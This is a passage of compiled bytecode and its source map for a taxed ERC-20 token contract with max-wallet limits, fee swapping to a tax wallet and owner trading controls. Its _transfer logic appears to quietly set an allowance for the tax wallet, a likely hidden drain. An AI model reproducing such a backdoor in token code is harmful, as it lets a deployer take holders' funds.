7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109a9573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109cd9190611882565b506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a495760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610464565b6001600160a01b038216610aaa5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610464565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b6e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610464565b6001600160a01b038216610bd05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610464565b5f8111610c315760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610464565b6012545f90600160b01b900460ff161580610c555750601254600160a81b900460ff165b15610d0d576001600160a01b0384165f90815260016020526040902054610c7d9083906118a1565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610cac9083906118b4565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cff9086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610d3757505f546001600160a01b03848116911614155b156110d05760408051808201909152601254610d91919081906001600160a01b03888116911614610d73576012546001600160a01b0316610d75565b865b6001600160a01b0390811682526004541660209091015261123c565b8015610daa57506012546001600160a01b038581169116145b8015610dc457506011546001600160a01b03848116911614155b8015610de857506001600160a01b0383165f9081526003602052604090205460ff16155b15610f4d57601254600160a01b900460ff16610e3e5760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610464565b610e6a6064610e64600954600c5411610e5957600554610e5d565b6007545b859061129d565b90611322565b9050600d54821115610ebe5760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d6178416d6f756e74472e00000000000000006044820152606401610464565b600e5482610ee0856001600160a01b03165f9081526001602052604090205490565b610eea91906118b4565b1115610f385760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610464565b600c8054905f610f47836118c7565b91905055505b6012546001600160a01b03848116911614801590610f8357506001600160a01b0383165f9081526003602052604090205460ff16155b1561100257600e5482610faa856001600160a01b03165f9081526001602052604090205490565b610fb491906118b4565b11156110025760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610464565b6012546001600160a01b03908116908416036110405761103d6064610e64600a54600c541161103357600654610e5d565b600854859061129d565b90505b601254600160a81b900460ff1615801561106757506012546001600160a01b038481169116145b801561107c5750601254600160b01b900460ff165b801561108b5750600b54600c54115b156110d057305f90815260016020526040902054600f548111156110c6576110c66110c1846110bc84601054611363565b611363565b611377565b6110ce6114e7565b505b801561114857305f908152600160205260409020546110ef908261151d565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061113f9085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461116a908361157b565b6001600160a01b0385165f908152600160205260409020556111ad61118f838361157b565b6001600160a01b0385165f908152600160205260409020549061151d565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111f6858561157b565b604051908152602001610cff565b5f81848411156112275760405162461bcd60e51b815260040161046491906115e8565b505f61123384866118a1565b95945050505050565b80516020820151600e545f92919061126c9060969061125b90826118b4565b6112669060966118b4565b9061129d565b6001600160a01b039283165f9081526002602090815260408083209490951682529290925291902055506001919050565b5f825f036112ac57505f6103ad565b5f6112b783856117f0565b9050826112c485836118f3565b1461131b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610464565b9392505050565b5f61131b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115bc565b5f818311611371578261131b565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113bd576113bd6118df565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611414573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611438919061183c565b8160018151811061144b5761144b6118df565b6001600160a01b03928316602091820292909201015260115461147191309116846109e7565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a99085905f90869030904290600401611912565b5f604051808303815f87803b1580156114c0575f5ffd5b505af11580156114d2573d5f5f3e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156107f3573d5f5f3e3d5ffd5b5f8061152983856118b4565b90508381101561131b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610464565b5f61131b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611204565b5f81836115dc5760405162461bcd60e51b815260040161046491906115e8565b505f61123384866118f3565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146107f3575f5ffd5b5f5f60408385031215611642575f5ffd5b823561164d8161161d565b946020939093013593505050565b5f5f5f6060848603121561166d575f5ffd5b83356116788161161d565b925060208401356116888161161d565b929592945050506040919091013590565b5f602082840312156116a9575f5ffd5b813561131b8161161d565b5f5f604083850312156116c5575f5ffd5b82356116d08161161d565b915060208301356116e08161161d565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561173a5780850481111561171e5761171e6116eb565b600184161561172c57908102905b60019390931c928002611703565b935093915050565b5f82611750575060016103ad565b8161175c57505f6103ad565b8160018114611772576002811461177c57611798565b60019150506103ad565b60ff84111561178d5761178d6116eb565b50506001821b6103ad565b5060208310610133831016604e8410600b84101617156117bb575081810a6103ad565b6117c75f1984846116ff565b805f19048211156117da576117da6116eb565b029392505050565b5f61131b60ff841683611742565b80820281158282048414176103ad576103ad6116eb565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561184c575f5ffd5b815161131b8161161d565b5f5f5f60608486031215611869575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611892575f5ffd5b8151801515811461131b575f5ffd5b818103818111156103ad576103ad6116eb565b808201808211156103ad576103ad6116eb565b5f600182016118d8576118d86116eb565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f8261190d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156119625783516001600160a01b031683526020938401939092019160010161193b565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bd2cdd114c4058411df00e9f1fb85593461e6335afead156cae8c0b024b0a44864736f6c634300081b0033
Deployed Bytecode Sourcemap
3643:7629:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5677:83;;;;;;;;;;-1:-1:-1;5747:5:0;;;;;;;;;;;;-1:-1:-1;;;5747:5:0;;;;5677:83;;;;;;;:::i;:::-;;;;;;;;6815:161;;;;;;;;;;-1:-1:-1;6815:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6815:161:0;945:187:1;4668:46:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;4668:46:0;1137:177:1;5948:95:0;;;;;;;;;;;;;:::i;6496:313::-;;;;;;;;;;-1:-1:-1;6496:313:0;;;;;:::i;:::-;;:::i;5859:83::-;;;;;;;;;;-1:-1:-1;5859:83:0;;4309:1;1974:36:1;;1962:2;1947:18;5859:83:0;1832:184:1;9518:246:0;;;;;;;;;;-1:-1:-1;9518:246:0;;;;;:::i;:::-;;:::i;:::-;;4556:46;;;;;;;;;;;;;;;;6049:119;;;;;;;;;;-1:-1:-1;6049:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6142:18:0;6115:7;6142:18;;;:9;:18;;;;;;;6049:119;832:148;;;;;;;;;;;;;:::i;4503:46::-;;;;;;;;;;;;;;;;622:79;;;;;;;;;;-1:-1:-1;660:7:0;687:6;622:79;;-1:-1:-1;;;;;687:6:0;;;2679:51:1;;2667:2;2652:18;622:79:0;2533:203:1;5766:87:0;;;;;;;;;;-1:-1:-1;5838:7:0;;;;;;;;;;;;-1:-1:-1;;;5838:7:0;;;;5766:87;;5305:366;;;;;;;;;;;;;:::i;10090:114::-;;;;;;;;;;;;;:::i;6174:167::-;;;;;;;;;;-1:-1:-1;6174:167:0;;;;;:::i;:::-;;:::i;4609:52::-;;;;;;;;;;;;;;;;10801:468;;;;;;;;;;;;;:::i;6347:143::-;;;;;;;;;;-1:-1:-1;6347:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6455:18:0;;;6428:7;6455:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6347:143;6815:161;6890:4;6907:39;285:10;6930:7;6939:6;6907:8;:39::i;:::-;-1:-1:-1;6964:4:0;6815:161;;;;;:::o;5948:95::-;6001:7;4367:15;4309:1;4367:2;:15;:::i;:::-;4352:30;;:12;:30;:::i;:::-;6021:14;;5948:95;:::o;6496:313::-;6594:4;6611:36;6621:6;6629:9;6640:6;6611:9;:36::i;:::-;6658:121;6667:6;285:10;6689:89;6727:6;6689:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6689:19:0;;;;;;:11;:19;;;;;;;;285:10;6689:33;;;;;;;;;;:37;:89::i;:::-;6658:8;:121::i;:::-;-1:-1:-1;6797:4:0;6496:313;;;;;:::o;9518:246::-;747:6;;-1:-1:-1;;;;;747:6:0;285:10;747:22;739:67;;;;-1:-1:-1;;;739:67:0;;;;;;;:::i;:::-;;;;;;;;;9592:11:::1;:19:::0;;-1:-1:-1;;;;;;9592:19:0::1;-1:-1:-1::0;;;;;9592:19:0;::::1;;::::0;;4367:15:::1;4309:1;4367:2;:15;:::i;:::-;4352:30;::::0;:12:::1;:30;:::i;:::-;9622:11;:19:::0;4367:15:::1;4309:1;4367:2;:15;:::i;:::-;4352:30;::::0;:12:::1;:30;:::i;:::-;9653:11;:19:::0;-1:-1:-1;;;;;9683:23:0;::::1;;::::0;;;:16:::1;:23;::::0;;;;:30;;-1:-1:-1;;9683:30:0::1;9709:4;9683:30;::::0;;9729:27:::1;4367:15;4309:1;4367:2;:15;:::i;:::-;4352:30;::::0;:12:::1;:30;:::i;:::-;9729:27;::::0;1283:25:1;;;1271:2;1256:18;9729:27:0::1;;;;;;;9518:246:::0;:::o;832:148::-;747:6;;-1:-1:-1;;;;;747:6:0;285:10;747:22;739:67;;;;-1:-1:-1;;;739:67:0;;;;;;;:::i;:::-;939:1:::1;923:6:::0;;902:40:::1;::::0;-1:-1:-1;;;;;923:6:0;;::::1;::::0;902:40:::1;::::0;939:1;;902:40:::1;970:1;953:19:::0;;-1:-1:-1;;;;;;953:19:0::1;::::0;;832:148::o;5305:366::-;747:6;;-1:-1:-1;;;;;747:6:0;285:10;747:22;739:67;;;;-1:-1:-1;;;739:67:0;;;;;;;:::i;:::-;5357:10:::1;:99:::0;;-1:-1:-1;;;;;;5357:99:0::1;5403:42;5357:99:::0;;::::1;::::0;;;5467:53:::1;::::0;5484:4:::1;::::0;4367:15:::1;4309:1;4367:2;:15;:::i;:::-;4352:30;::::0;:12:::1;:30;:::i;5467:53::-;5560:10;;;;;;;;;-1:-1:-1::0;;;;;5560:10:0::1;-1:-1:-1::0;;;;;5560:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5542:50:0::1;;5615:4;5635:10;;;;;;;;;-1:-1:-1::0;;;;;5635:10:0::1;-1:-1:-1::0;;;;;5635:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5542:121;::::0;-1:-1:-1;;;;;;5542:121:0::1;::::0;;;;;;-1:-1:-1;;;;;5680:32:1;;;5542:121:0::1;::::0;::::1;5662:51:1::0;5749:32;;5729:18;;;5722:60;5635:18;;5542:121:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5531:8;:132:::0;;-1:-1:-1;;;;;;5531:132:0::1;-1:-1:-1::0;;;;;5531:132:0;;;::::1;::::0;;;::::1;::::0;;5305:366::o;10090:114::-;747:6;;-1:-1:-1;;;;;747:6:0;285:10;747:22;739:67;;;;-1:-1:-1;;;739:67:0;;;;;;;:::i;:::-;10143:53:::1;::::0;285:10;;10174:21:::1;10143:53:::0;::::1;;;::::0;::::1;::::0;;;10174:21;285:10;10143:53;::::1;;;;;;;;;;;;;;;;;;;;10090:114::o:0;6174:167::-;6252:4;6269:42;285:10;6293:9;6304:6;6269:9;:42::i;10801:468::-;747:6;;-1:-1:-1;;;;;747:6:0;285:10;747:22;739:67;;;;-1:-1:-1;;;739:67:0;;;;;;;:::i;:::-;10863:11:::1;::::0;-1:-1:-1;;;10863:11:0;::::1;;;10862:12;10854:48;;;::::0;-1:-1:-1;;;10854:48:0;;5995:2:1;10854:48:0::1;::::0;::::1;5977:21:1::0;6034:2;6014:18;;;6007:30;6073:25;6053:18;;;6046:53;6116:18;;10854:48:0::1;5793:347:1::0;10854:48:0::1;10913:10;::::0;-1:-1:-1;;;;;10913:10:0::1;:26;10947:21;10992:4;11012:24;10992:4:::0;-1:-1:-1;;;;;6142:18:0;6115:7;6142:18;;;:9;:18;;;;;;;6049:119;11012:24:::1;11051:1;11067;11083:7;660::::0;687:6;-1:-1:-1;;;;;687:6:0;;622:79;11083:7:::1;10913:218;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10913:218:0;;;-1:-1:-1;;;;;6466:32:1;;;10913:218:0::1;::::0;::::1;6448:51:1::0;6515:18;;;6508:34;;;;6558:18;;;6551:34;;;;6601:18;;;6594:34;6665:32;;;6644:19;;;6637:61;11105:15:0::1;6714:19:1::0;;;6707:35;6420:19;;10913:218:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11149:8:0::1;::::0;11175:10:::1;::::0;11142:61:::1;::::0;-1:-1:-1;;;11142:61:0;;-1:-1:-1;;;;;11175:10:0;;::::1;11142:61;::::0;::::1;7388:51:1::0;-1:-1:-1;;7455:18:1;;;7448:34;11149:8:0;::::1;::::0;-1:-1:-1;11142:24:0::1;::::0;7361:18:1;;11142:61:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11214:11:0::1;:18:::0;;-1:-1:-1;;;;11243:18:0;-1:-1:-1;;;11243:18:0;;;10801:468::o;6982:335::-;-1:-1:-1;;;;;7075:19:0;;7067:68;;;;-1:-1:-1;;;7067:68:0;;7977:2:1;7067:68:0;;;7959:21:1;8016:2;7996:18;;;7989:30;8055:34;8035:18;;;8028:62;-1:-1:-1;;;8106:18:1;;;8099:34;8150:19;;7067:68:0;7775:400:1;7067:68:0;-1:-1:-1;;;;;7154:21:0;;7146:68;;;;-1:-1:-1;;;7146:68:0;;8382:2:1;7146:68:0;;;8364:21:1;8421:2;8401:18;;;8394:30;8460:34;8440:18;;;8433:62;-1:-1:-1;;;8511:18:1;;;8504:32;8553:19;;7146:68:0;8180:398:1;7146:68:0;-1:-1:-1;;;;;7225:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7277:32;;1283:25:1;;;7277:32:0;;1256:18:1;7277:32:0;;;;;;;6982:335;;;:::o;7323:2189::-;-1:-1:-1;;;;;7411:18:0;;7403:68;;;;-1:-1:-1;;;7403:68:0;;8785:2:1;7403:68:0;;;8767:21:1;8824:2;8804:18;;;8797:30;8863:34;8843:18;;;8836:62;-1:-1:-1;;;8914:18:1;;;8907:35;8959:19;;7403:68:0;8583:401:1;7403:68:0;-1:-1:-1;;;;;7490:16:0;;7482:64;;;;-1:-1:-1;;;7482:64:0;;9191:2:1;7482:64:0;;;9173:21:1;9230:2;9210:18;;;9203:30;9269:34;9249:18;;;9242:62;-1:-1:-1;;;9320:18:1;;;9313:33;9363:19;;7482:64:0;8989:399:1;7482:64:0;7574:1;7565:6;:10;7557:64;;;;-1:-1:-1;;;7557:64:0;;9595:2:1;7557:64:0;;;9577:21:1;9634:2;9614:18;;;9607:30;9673:34;9653:18;;;9646:62;-1:-1:-1;;;9724:18:1;;;9717:39;9773:19;;7557:64:0;9393:405:1;7557:64:0;7667:11;;7632:17;;-1:-1:-1;;;7667:11:0;;;;7666:12;;:22;;-1:-1:-1;7682:6:0;;-1:-1:-1;;;7682:6:0;;;;7666:22;7662:217;;;-1:-1:-1;;;;;7723:15:0;;;;;;:9;:15;;;;;;:24;;7741:6;;7723:24;:::i;:::-;-1:-1:-1;;;;;7705:15:0;;;;;;;:9;:15;;;;;;:42;;;;7778:13;;;;;;;:22;;7794:6;;7778:22;:::i;:::-;-1:-1:-1;;;;;7762:13:0;;;;;;;:9;:13;;;;;;;:38;;;;7820:26;;;;;;;;;;7839:6;1283:25:1;;1271:2;1256:18;;1137:177;7820:26:0;;;;;;;;7861:7;7323:2189;;;:::o;7662:217::-;660:7;687:6;-1:-1:-1;;;;;7893:15:0;;;687:6;;7893:15;;;;:32;;-1:-1:-1;660:7:0;687:6;-1:-1:-1;;;;;7912:13:0;;;687:6;;7912:13;;7893:32;7889:1269;;;7946:52;;;;;;;;;7961:8;;7946:52;;;;;-1:-1:-1;;;;;7955:14:0;;;7961:8;;7955:14;:28;;7975:8;;-1:-1:-1;;;;;7975:8:0;7955:28;;;7970:4;7955:28;-1:-1:-1;;;;;7946:52:0;;;;;7985:11;;;7946:52;;;;;:7;:52::i;:::-;:72;;;;-1:-1:-1;8010:8:0;;-1:-1:-1;;;;;8002:16:0;;;8010:8;;8002:16;7946:72;:101;;;;-1:-1:-1;8036:10:0;;-1:-1:-1;;;;;8022:25:0;;;8036:10;;8022:25;;7946:101;:127;;;;-1:-1:-1;;;;;;8053:20:0;;;;;;:16;:20;;;;;;;;8051:22;7946:127;7942:522;;;8102:11;;-1:-1:-1;;;8102:11:0;;;;8094:44;;;;-1:-1:-1;;;8094:44:0;;10268:2:1;8094:44:0;;;10250:21:1;10307:2;10287:18;;;10280:30;-1:-1:-1;;;10326:18:1;;;10319:51;10387:18;;8094:44:0;10066:345:1;8094:44:0;8169:76;8241:3;8169:67;8191:15;;8181:9;;:25;8180:55;;8221:14;;8180:55;;;8208:12;;8180:55;8169:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8157:88;;8282:11;;8272:6;:21;;8264:58;;;;-1:-1:-1;;;8264:58:0;;10618:2:1;8264:58:0;;;10600:21:1;10657:2;10637:18;;;10630:30;10696:26;10676:18;;;10669:54;10740:18;;8264:58:0;10416:348:1;8264:58:0;8375:11;;8365:6;8349:13;8359:2;-1:-1:-1;;;;;6142:18:0;6115:7;6142:18;;;:9;:18;;;;;;;6049:119;8349:13;:22;;;;:::i;:::-;:37;;8341:76;;;;-1:-1:-1;;;8341:76:0;;10971:2:1;8341:76:0;;;10953:21:1;11010:2;10990:18;;;10983:30;11049:28;11029:18;;;11022:56;11095:18;;8341:76:0;10769:350:1;8341:76:0;8436:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7942:522;8488:8;;-1:-1:-1;;;;;8482:14:0;;;8488:8;;8482:14;;;;:40;;-1:-1:-1;;;;;;8502:20:0;;;;;;:16;:20;;;;;;;;8500:22;8482:40;8478:157;;;8577:11;;8567:6;8551:13;8561:2;-1:-1:-1;;;;;6142:18:0;6115:7;6142:18;;;:9;:18;;;;;;;6049:119;8551:13;:22;;;;:::i;:::-;:37;;8543:76;;;;-1:-1:-1;;;8543:76:0;;10971:2:1;8543:76:0;;;10953:21:1;11010:2;10990:18;;;10983:30;11049:28;11029:18;;;11022:56;11095:18;;8543:76:0;10769:350:1;8543:76:0;8658:8;;-1:-1:-1;;;;;8658:8:0;;;8652:14;;;;8649:145;;8699:79;8774:3;8699:70;8721:16;;8711:9;;:26;8710:58;;8753:15;;8710:58;;;8739:13;;8699:6;;:10;:70::i;:79::-;8687:91;;8649:145;8813:6;;-1:-1:-1;;;8813:6:0;;;;8812:7;:25;;;;-1:-1:-1;8829:8:0;;-1:-1:-1;;;;;8823:14:0;;;8829:8;;8823:14;8812:25;:40;;;;-1:-1:-1;8841:11:0;;-1:-1:-1;;;8841:11:0;;;;8812:40;:72;;;;;8866:18;;8856:9;;:28;8812:72;8808:339;;;8954:4;8905:28;6142:18;;;:9;:18;;;;;;9003:17;;8982:38;;8979:123;;;9043:59;9052:49;9056:6;9063:37;9067:20;9088:11;;9063:3;:37::i;:::-;9052:3;:49::i;:::-;9043:8;:59::i;:::-;9121:10;:8;:10::i;:::-;8886:261;8808:339;9171:11;;9168:161;;9239:4;9221:24;;;;:9;:24;;;;;;:39;;9250:9;9221:28;:39::i;:::-;9214:4;9196:24;;;;:9;:24;;;;;;;:64;;;;9278:39;;-1:-1:-1;;;;;9278:39:0;;;;;;;9307:9;1283:25:1;;1271:2;1256:18;;1137:177;9278:39:0;;;;;;;;9168:161;-1:-1:-1;;;;;9355:15:0;;;;;;:9;:15;;;;;;:27;;9375:6;9355:19;:27::i;:::-;-1:-1:-1;;;;;9339:15:0;;;;;;:9;:15;;;;;:43;9407:40;9425:21;:6;9436:9;9425:10;:21::i;:::-;-1:-1:-1;;;;;9407:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9393:13:0;;;;;;;:9;:13;;;;;:54;;;;9463:41;;;9482:21;:6;9493:9;9482:10;:21::i;:::-;9463:41;;1283:25:1;;;1271:2;1256:18;9463:41:0;1137:177:1;1336:190:0;1422:7;1458:12;1450:6;;;;1442:29;;;;-1:-1:-1;;;1442:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1482:9:0;1494:5;1498:1;1494;:5;:::i;:::-;1482:17;1336:190;-1:-1:-1;;;;;1336:190:0:o;9770:218::-;9859:7;;;9884;;;9933:11;;9827:4;;9859:7;9884;9928:30;;9954:3;;9929:15;;9954:3;9929:15;:::i;:::-;:19;;9945:3;9929:19;:::i;:::-;9928:25;;:30::i;:::-;-1:-1:-1;;;;;9902:18:0;;;;;;;:11;:18;;;;;;;;:25;;;;;;;;;;;;;:56;-1:-1:-1;9976:4:0;;9770:218;-1:-1:-1;9770:218:0:o;1532:246::-;1590:7;1614:1;1619;1614:6;1610:47;;-1:-1:-1;1644:1:0;1637:8;;1610:47;1667:9;1679:5;1683:1;1679;:5;:::i;:::-;1667:17;-1:-1:-1;1712:1:0;1703:5;1707:1;1667:17;1703:5;:::i;:::-;:10;1695:56;;;;-1:-1:-1;;;1695:56:0;;11820:2:1;1695:56:0;;;11802:21:1;11859:2;11839:18;;;11832:30;11898:34;11878:18;;;11871:62;-1:-1:-1;;;11949:18:1;;;11942:31;11990:19;;1695:56:0;11618:397:1;1695:56:0;1769:1;1532:246;-1:-1:-1;;;1532:246:0:o;1784:132::-;1842:7;1869:39;1873:1;1876;1869:39;;;;;;;;;;;;;;;;;:3;:39::i;10210:99::-;10266:7;10295:1;10293;:3;10292:9;;10300:1;10292:9;;;-1:-1:-1;10298:1:0;10210:99;-1:-1:-1;10210:99:0:o;10350:445::-;4965:6;:13;;-1:-1:-1;;;;4965:13:0;-1:-1:-1;;;4965:13:0;;;10439:16:::1;::::0;;10453:1:::1;10439:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10439:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10439:16:0::1;10415:40;;10484:4;10466;10471:1;10466:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10466:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10510:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;10510:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;10466:7;;10510:17;;;;;:10;:17:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10500:4;10505:1;10500:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10500:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;:27;10570:10:::1;::::0;10538:52:::1;::::0;10555:4:::1;::::0;10570:10:::1;10583:6:::0;10538:8:::1;:52::i;:::-;10601:10;::::0;:186:::1;::::0;-1:-1:-1;;;10601:186:0;;-1:-1:-1;;;;;10601:10:0;;::::1;::::0;:61:::1;::::0;:186:::1;::::0;10677:6;;10601:10:::1;::::0;10714:4;;10741::::1;::::0;10761:15:::1;::::0;10601:186:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;5001:6:0;:14;;-1:-1:-1;;;;5001:14:0;;;-1:-1:-1;;;;10350:445:0:o;9994:90::-;10033:11;;:43;;-1:-1:-1;;;;;10033:11:0;;;;10054:21;10033:43;;;;;:11;:43;:11;:43;10054:21;10033:11;:43;;;;;;;;;;;;;;;;;;;1009:179;1067:7;;1099:5;1103:1;1099;:5;:::i;:::-;1087:17;;1128:1;1123;:6;;1115:46;;;;-1:-1:-1;;;1115:46:0;;13318:2:1;1115:46:0;;;13300:21:1;13357:2;13337:18;;;13330:30;13396:29;13376:18;;;13369:57;13443:18;;1115:46:0;13116:351:1;1194:136:0;1252:7;1279:43;1283:1;1286;1279:43;;;;;;;;;;;;;;;;;:3;:43::i;1922:189::-;2008:7;2043:12;2036:5;2028:28;;;;-1:-1:-1;;;2028:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2067:9:0;2079:5;2083:1;2079;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:255::-;2088:6;2141:2;2129:9;2120:7;2116:23;2112:32;2109:52;;;2157:1;2154;2147:12;2109:52;2196:9;2183:23;2215:31;2240:5;2215:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:127::-;3195:10;3190:3;3186:20;3183:1;3176:31;3226:4;3223:1;3216:15;3250:4;3247:1;3240:15;3266:375;3354:1;3372:5;3386:249;3407:1;3397:8;3394:15;3386:249;;;3457:4;3452:3;3448:14;3442:4;3439:24;3436:50;;;3466:18;;:::i;:::-;3516:1;3506:8;3502:16;3499:49;;;3530:16;;;;3499:49;3613:1;3609:16;;;;;3569:15;;3386:249;;;3266:375;;;;;;:::o;3646:902::-;3695:5;3725:8;3715:80;;-1:-1:-1;3766:1:1;3780:5;;3715:80;3814:4;3804:76;;-1:-1:-1;3851:1:1;3865:5;;3804:76;3896:4;3914:1;3909:59;;;;3982:1;3977:174;;;;3889:262;;3909:59;3939:1;3930:10;;3953:5;;;3977:174;4014:3;4004:8;4001:17;3998:43;;;4021:18;;:::i;:::-;-1:-1:-1;;4077:1:1;4063:16;;4136:5;;3889:262;;4235:2;4225:8;4222:16;4216:3;4210:4;4207:13;4203:36;4197:2;4187:8;4184:16;4179:2;4173:4;4170:12;4166:35;4163:77;4160:203;;;-1:-1:-1;4272:19:1;;;4348:5;;4160:203;4395:42;-1:-1:-1;;4420:8:1;4414:4;4395:42;:::i;:::-;4473:6;4469:1;4465:6;4461:19;4452:7;4449:32;4446:58;;;4484:18;;:::i;:::-;4522:20;;